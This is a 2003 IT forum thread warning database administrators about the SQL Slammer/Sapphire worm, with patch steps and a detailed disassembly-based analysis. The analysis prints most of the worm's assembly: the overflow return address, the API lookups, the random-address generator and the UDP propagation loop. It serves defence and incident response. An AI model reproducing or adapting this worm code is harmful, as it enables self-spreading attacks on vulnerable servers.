Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

  • Congratulations SkipVought on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

All DBA's read. worm attack 2

Status
Not open for further replies.

MAK9974

IS-IT--Management
Apr 11, 2002
145
0
0
US
Worm attack on SQL Servers 1434 port.

Read the links below.


Solution

Standard Hotfix Installation Steps
===================================

1. Install SQL Server 2000 Service Pack 2. Do not proceed any further until you successfully install SQL Server 2000 Service Pack 2.

2. Shut down the Microsoft SQL Server and SQL Server Agent services.

3. Make a back up copy of the ssnetlib.dll files from the <installation path for this SQL Server instance>\Binn folder and the ssnetlib.pdb files from the <installation path for this SQL Server instance>\Binn\dll folder.

4. Copy the ssnetlib.dll files from the hotfix self-extracting archive into the <installation path for this SQL Server instance>\Binn folder and the ssnetlib.pdb files into <installation path for this SQL Server instance>\Binn\Exe folder.

5. Start the Microsoft SQL Server and SQL Server Agent services.

6. Test the scenario for the bug that this build fixes to verify that your problem is resolved. Notify Microsoft PSS immediately if your problem is still unresolved.

7. If, for any reason, you encounter a problem with this hotfix build, you may go back to the previous build by restoring the files you backed up in step 3.


Hotfix Installation Steps for SQL
=======================================Server 2000 Enterprise Edition with
=======================================
Clustering Enabled
=======================================

1. Install SQL Server 2000 Service Pack 2. Do not proceed any further until you successfully install SQL Server 2000 Service Pack 2.

2. Navigate to a node of the cluster where the SQL Server instance is currently not running.

3. Make a back up copy of the ssnetlib.dll files from the <installation path for this SQL Server instance>\Binn folder and the ssnetlib.pdb files if they exist from the <installation path for this SQL Server instance>\Binn\Dll folder.

4. Copy the ssnetlib.dll files from the hotfix self-extracting archive into the <installation path for this SQL Server instance>\Binn folder and the ssnetlib.pdb files into the <installation path for this SQL Server instance>\Binn\Dll folder.

5. Failover the SQL Server instance to the node in which the new binaries are now installed.

6. Test the scenario for the bug that this build fixes to verify that your problem is resolved. Notify Microsoft PSS immediately if your problem is still unresolved.

7. If, for any reason, you encounter a problem with this hotfix build, you may go back to the previous build by restoring the files you backed up in step 3.

8. After you verify the hotfix, repeat steps 1 through 3 on the remaining nodes in the cluster.
 
Analysis of Sapphire SQL Worm
Background
On Friday, January 24, 2003, eEye Digital Security was alerted to a sudden increase in the number of SQL resolution service scans. The scans appeared to be aggressively targeting a buffer overrun in the SQL resolution service that existed in SQL Server 2000 prior to Service Pack 3 and MSDE 2000. eEye has dis-assembled the worm, and I provide a more detailed analysis. The fast spreading worm quickly infected systems on the internet and took many small networks completely offline with its scanning activity. Many Internet Service Providers' traffic levels surged as the worm scanned for new targets.

Brief Analysis
When an SQL server is infected by this worm, the worm immediately sets up a stack frame with information that it needs for propogation. It locates the GetTickCount API as well as several other WinSock APIs. It does not search for the LoadLibraryA and GetProcAddress APIs, and instead locates them by searching the IAT of sqlsort.dll.

The system timer of the infected system is used as the seed for address generation. All addresses generated are predictably based upon this value. Each system receives a single UDP packet that triggers the buffer overflow, spreading the worm to that system. It is likely that the increase in network activity caused by the worm will lead to performance issues. Worm-generated traffic is easily identified by 371-410 byte UDP packets travelling to port 1434. Microsoft had previously released a patch for this vulnerability available from
Symptoms
Infected Systems
Outbound traffic to external addresses on UDP Port 1434
The scanning method Sapphire uses causes a significant amount of data to be transmitted, all of it aimed at UDP port 1434. This traffic will be seen in packet captures monitoring the affected ports. Contrary to some reports, port 1433 is not scanned by this worm.

Large amount of ICMP Port/Host Unreachable messages aimed at server systems
The worm uses a large number of UDP packets to achieve widespread infection. If the worm aims packets at a non-existant address (or an address that has not opened port 1434), an ICMP Unreachable message may be returned by the router that detected the error.

SQL resolution service failure
Worm infection may cause the resolution service to fail, disabling access to SQL services. This effect occurs until the SQL server is restarted.

Performance Degredation
Due to the scanning for other systems, and the resultant bandwidth consumption due to outbound UDP packets (or inbound ICMP error messages as outlined above), connection speeds to other services may drop drastically. Because the worm does not have the facilities to prevent re-infection, systems may have several copies of the worm running simultaneously.

Scanning
The scanning method of the worm produces a large number of packets aimed at UDP 1434. If several systems scan the same host or network, this may result in loss of connections, declines in speed, etc. The impact of the large amount of scanning is to cause a denial of service to the scanned hosts.

Best Practices
The following best practices should prevent infection and mitigate impacts to systems being scanned.
Filtering Traffic
Traffic filters can reduce the strain on individual systems, and prevent possibly infected systems from compromising others on the internet or your internal network.

Inbound Traffic
Database Servers
SQL services should not be accessible to systems on the internet. Limiting SQL services to the internal network prevents infected systems on the internet from compromising your internal servers.

Other Users
Other users may choose to block traffic to ports 1433 and 1434 at the border router or at the ISP level, if the ISP chooses to allow such requests.

Outbound Traffic
Database servers ordinarily have no need to contact other servers outside of your internal network. As such, you may choose to block the database server system from communicating with other systems on ports 1433 and 1434.

Disassembly/Analysis
Initialization
When the vulnerable system receives this packet, the buffer overrun occurs, and the return address is overwritten. On return, the worm hits a jmp esp in sqlsort.dll which leads into its payload. It wastes no time, immediately beginning packet construction. The packet it uses will have the following form:

[Garbage][EIP][Worm]
The worm then saves the EIP to the stack (the worm body is already here):
push 42B0C9DCh ; [EBP-4] Sqlsort.dll: jmp esp
After this instruction, the stack appears as:
[Worm][EIP]
The worm then saves a large amount of garbage data to the stack:
mov eax, 1010101h
xor ecx, ecx
mov cl, 18h
FIXUP:
push eax ; [EBP-8 to EBP-60h]
loop FIXUP
xor eax, 5010101h
push eax ; [EBP-64h]
The stack now appears as:
[Worm][EIP][Garbage]
Since x86 stacks grow downward, the top of the stack is really the end of the memory region. Later, when the worm calls sendto, the API reads the stack memory 'backwards', and reconstructs the packet again:

[Garbage][EIP][Worm]
Perhaps this is better demonstrated by an example:
Sapphire Worm Stack Map

[Worm Body]
42 B0 C9 DC 01 01 01 01 [EBP+58h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+50h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+40h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+30h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+20h]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+10h]
01 01 01 01 01 01 01 01 01 01 01 01 04 00 00 00 [EBP-0]
00 00 00 00 6C 6C 64 2E 32 33 6C 65 6E 72 65 6B [EBP-10h] ; 'kernel32.dll'
00 00 00 00 74 6E 75 6F 43 6B 63 69 54 74 65 47 [EBP-20h] ; 'GetTickCount'
00 00 6C 6C 64 2E 32 33 5F 32 73 77 [EBP-2Ch] ; 'ws2_32.dll'
00 00 74 65 6B 63 6F 73 [EBP-34h] ; 'socket'
00 00 6F 74 64 6E 65 73 [EBP-3Ch] ; 'sendto'
[Base address of ws2_32.dll] [EBP-40h] ;
00 00 00 00 00 00 00 00 [EBP-48h] ; sin_zero
[Pseudo-Random seed] [EBP-4Ch] ; sin_addr.s_addr
9A 05 00 02 [EBP-50h] ; sin_port, sin_family
[UDP socket descriptor] [EBP-54h]
The stack is then 'normalized' (EBP=ESP) for the exploit to continue:
mov ebp, esp ; EBP=ESP
The worm begins to setup a stack frame that stores several pieces of data, namely the following strings:
kernel32.dll
push ecx ; [EBP-4]
push 6C6C642Eh ; [EBP-8]
push 32336C65h ; [EBP-0Ch]
push 6E72656Bh ; [EBP-10h]
GetTickCount
push ecx ; [EBP-14h]
push 746E756Fh ; [EBP-18h]
push 436B6369h ; [EBP-1Ch]
push 54746547h ; [EBP-20h]
ws2_32.dll
mov cx, 6C6Ch
push ecx ; [EBP-24h]
push 642E3233h ; [EBP-28h]
push 5F327377h ; [EBP-2Ch]
socket
mov cx, 7465h
push ecx ; [EBP-30h]
push 6B636F73h ; [EBP-34h]
sendto
mov cx, 6F74h
push ecx ; [EBP-38h]
push 646E6573h ; [EBP-3Ch]
The worm begins to locate needed procedures. It begins by locating LoadLibraryA from the Import Address Table (IAT) of the sqlsort.dll library:

mov esi, 42AE1018h
The worm loads the ws2_32.dll library and saves the resulting handle to its stack frame for later use. It loads a string pointer into EAX, and uses it to the call to LoadLibraryA, which is represented indirectly via the ESI register:

lea eax, [ebp-2Ch]
push eax ; [EBP-40h]
call dword ptr [esi] ; Procedure exit: ESP=EBP-3Ch
push eax ; [EBP-40h]
The worm then pushes a string pointer ('GetTickCount') from its stack frame onto the top of the stack for later use:
lea eax, [ebp-20h]
push eax ; [EBP-44h]
The worm then obtains a handle to the kernel32.dll library via the LoadLibraryA function referenced in ESI. This is done in a similar fashion to the above loading of ws2_32.dll:

lea eax, [ebp-10h]
push eax ; [EBP-48h]
call dword ptr [esi] ; Procedure exit: ESP=EBP-44h
push eax ; [EBP-48h]
The worm then attempts to locate the entry for GetProcAddress from the same IAT it used to find LoadLibraryA earlier (sqlsort.dll):

mov esi, 42AE1010h
mov ebx, [esi]
mov eax, [ebx]
The worm then attempts to 'fingerprint' the GetProcAddress API, and will fall back to the other known base address if this fails. I believe this check is to compensate for slight discrepencies between SQL Server Service Packs 1 and 2 and the original release of SQL Server 2000. They used IAT addresses that varied slightly, and this meant two different checks:

cmp eax, 51EC8B55h
jz short VALID_GP
mov esi, 42AE101Ch
The worm then immediately calls GetProcAddress. The API receives its two parameters from the top of the stack. This destroys the kernel32.dll handle that the worm obtained previously:

VALID_GP:
call dword ptr [esi] ; Procedure exit: ESP=EBP-40h
The worm calls GetTickCount via the return value of the GetProcAddress call. This serves as the seed for the worm's random number generator:

call eax ; Procedure exit: ESP=EBP-40h
The worm adds eight bytes to its stack frame in this sequence. These are used later to store parts of an address structure:

xor ecx, ecx
push ecx ; [EBP-44h]
push ecx ; [EBP-48h]
It then saves its random number generator seed to the stack frame:
push eax ; [EBP-4Ch]
The worm generates the two permanent members of a sockaddr_in structure. ECX=9A050002, which represents the first two members of the structure:

struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
The first member is set to 2 (AF_INET), and the second is set to the network-order representation of 1434 (the port of the SQL resolution service). This 4-byte set is then saved to the stack frame:

xor ecx, 9B040103h
xor ecx, 1010101h
push ecx ; [EBP-50h]
The worm then locates the 'socket' API call via the GetProcAddress pointer stored in the ESI register. EBP-34h stores the address of the string literal &quot;socket&quot;, while EBP-40h stores the base address of the ws2_32.dll library:

lea eax, [ebp-34h]
push eax ; [EBP-54h]
mov eax, [ebp-40h]
push eax ; [EBP-58h]
call dword ptr [esi] ; Procedure exit: ESP=EBP-50h
The worm then creates a UDP socket for use in propogation. The socket is a User Datagram Protocol socket, and the function address is pulled from the return value of GetProcAddress. The worm then saves the socket descriptor to its stack frame:

push 11h ; [EBP-54h] IPPROTO_UDP - User Datagram Protocol
push 2 ; [EBP-58h] SOCK_DGRAM - Datagram socket (connectionless)
push 2 ; [EBP-5Ch] AF_INET - Internet address family
call eax ; Procedure exit: ESP=EBP-50h
push eax ; [EBP-54h]
The worm then locates the sendto API entry point. It uses the ESI pointer to GetProcAddress for the last time, because this pointer is destroyed when the worm saves the sendto entry point to that register. It uses the string literal 'sendto' that is stored at EBP-3Ch, and the ws2_32.dll base address it uses in the lookup of socket:

lea eax, [ebp-3Ch]
push eax ; [EBP-58h]
mov eax, [ebp-40h]
push eax ; [EBP-5Ch]
call dword ptr [esi] ; Procedure exit: ESP=EBP-54h
mov esi, eax
The worm XORs the EBX register with 0xFFD9613C, before beginning its simple spreading routine. The OR instruction was most likely intended to be an XOR. However, this doesn't break worm functionality; it only modifies the worm's random address behavior slightly. This may be the reason for some hosts seeing a disproportionate number of scans:

or ebx, ebx
xor ebx, 0FFD9613Ch
Propogation
The worm has a simple propogation routine that simply generates 'random' IP addresses, and sends the attack packet to each system on the SQL resolution service' default port.

This portion of the routine generates a random number based on the seed stored at EBP-4Ch, and then replacing it with the value in EAX at the end of the procedure:

PRND:
mov eax, [ebp-4Ch] ; EAX=Random seed
lea ecx, [eax+eax*2] ; ECX=EAX*4
lea edx, [eax+ecx*4] ; EDX=ECX*4+EAX
shl edx, 4 ; EDX=EDX<<4
add edx, eax ; EDX+=EAX
shl edx, 8 ; EDX=EDX<<8
sub edx, eax ; EDX-=EAX
lea eax, [eax+edx*4] ; EAX+=EDX*4
add eax, ebx ; EAX+=EBX
mov [ebp-4Ch], eax ; Replace old seed w/ new one

This is the portion of code where sendto is actually called. The parameters to the function are commented in the code below. The parameter list to sendto is as follows:

WINSOCK_API_LINKAGE
int
WSAAPI
sendto(
SOCKET s,
const char FAR * buf,
int len,
int flags,
const struct sockaddr FAR * to,
int tolen
);
The parameters are passed as follows: s = EBP-54h: This is the socket descriptor returned by the prior call to socket.

buf = [EBP+3]: This is the buffer that was sent to the SQL server to cause the overflow.

len = 376: This tells the function that the body of the packet is exactly 376 bytes in length.

flags = 0: This specifies that no special behavior is to be applied to the outbound UDP packet.

to = EBP-50h: This is the sockaddr_in structure mentioned earlier. The sin_addr member of the structure is set to the number returned from PRND.

tolen = 10h: This tells the function that the structure is exactly 16 bytes in length.
push 10h ; [EBP-58h] sizeof(struct sockaddr_in)
lea eax, [ebp-50h]
push eax ; [EBP-5Ch] eax=Target address
xor ecx, ecx
push ecx ; [EBP-60h] ecx=Send flags
xor cx, 178h
push ecx ; [EBP-64h] ecx=Packet length
lea eax, [ebp+3]
push eax ; [EBP-68h] eax=Exploit address
mov eax, [ebp-54h]
push eax ; [EBP-6Ch] eax=socket descriptor
call esi ; Procedure exit: ESP=EBP-54h

The worm then continues replication by jumping back into the pseudo-random number generator:
jmp short PRND
References
CERT Advisory CA-2003-04 MS-SQL Server Worm <Microsoft Knowledge Base Article 323875: FIX: MS02-039: Buffer Overruns in SQL Server 2000 Resolution Service Might Enable Code Execution <
Microsoft Security Bulletin MS02-039 <
NGSSoftware Advisory NISR25072002: Unauthenticated Remote Compromise in MS SQL Server 2000 <
eEye Alert AL20030125: Microsoft SQL Sapphire Worm Analysis <BugTraq ID#5311: Microsoft SQL Server 2000 Resolution Service Stack Overflow <
NIPC Advisory 03-001: Worm Targets SQL Vulnerability <CVE Candidate 2002-0649 <CERT Vulnerability Note #484891: Microsoft SQL Server 2000 contains stack buffer overflow in SQL Server Resolution Service <Microsoft SQL Server 2000 contains stack buffer overflow in SQL Server Resolution Service>

Revisions
January 26, 2003 - v2.1: Added trace of stack usage
January 26, 2003 - v2.0: Added stack map, and added new information to several parts of the analysis
January 25, 2003 - v1.11: Added footer and fixed typos
January 25, 2003 - v1.1: Added &quot;credit&quot; and &quot;revisions&quot; sections
January 25, 2003 - v1.02: Corrected to indicate that OR instruction doesn't zero register
January 25, 2003 - v1.01: Revised to indicate that MSDE 2000 is also vulnerable, and removed note on ISP filtering; blocking port 1433/1434 could break some distributed computing systems

January 25, 2003 - v1.0: Document created
Credit
Pedram Amini <pamini@idefense.com, pedram@redhive.com> of iDEFENSE for the addition of several pieces of information to this analysis.

Paul Morris <mole@morris.net> for clarifying that MSDE 2000 is also vulnerable, and for presenting the possible problems with ISP filtering.

cstone@pobox.com for pointing out the OR/XOR mistake in the PRND initialization
eEye Digital Security for providing the dis-assembly that I used in my analysis.

--------------------------------------------------------------------------------
Technical analysis by Matthew Murphy

SF18C
CCNA, MCSE, A+, N+ & HPCC

&quot;Tis better to die on your feet than live on your knees!&quot;
 
Just download and install SQL 2000 Service pack 3.
You will not have a problem. This service pack has been available several months now. MSCE, MCSP, Application Service Provider, Web Site and Email hosting.
 
SQL Server 2000 Service Pack 3 was just recently released on 17 January 2003. If you had the MSDN subscription you could probably have gotten it a little earlier. I would still test SP3 on a test platform before releasing it to your production environment.

Hope this helps.
 
Can this worm affect SQL server 7?

I run a SQL 7 server and have had some network traffic problems today, these sorts of problems are (unfortnately) not uncommon due to the NT based phone system dialer which we use, but I want to make sure it is not the worm.

Would be grateful for any feedback.

 
Does anyone know if this worm affects runtime versions of SQL 2000 ?
 
According to the Microsoft bulletin, version 7 , 2000, and MSDE is vulnerable.

Do not delay your patches! MSCE, MCSP, Application Service Provider, Web Site and Email hosting.
 
While installation of SQL Server 2000 service pack 3 is recommended, it isn't necessary to prevent infection by the Slammer/Sapphire worm. If you are up to date on security patches your SQL Server 2000 service will be protected.

According to the Microsoft security alert the Slammer worm targets SQL 2000 and MSDE 2000 . There is no mention of SQL 7 being affected. However, security bulletin MS02-061 does indicate that SQL 7 is vulnerable if not

Additional resources:

Virus Alert About the W32.Slammer Worm

Microsoft Security Bulletin MS02-061

INF: SQL Server 7.0 Security Update for Service Pack 4
Terry L. Broadbent - DBA
SQL Server Page:
If you want to get the best answer for your question read faq183-874.
 
Status
Not open for further replies.

Part and Inventory Search

Sponsor

Back
Top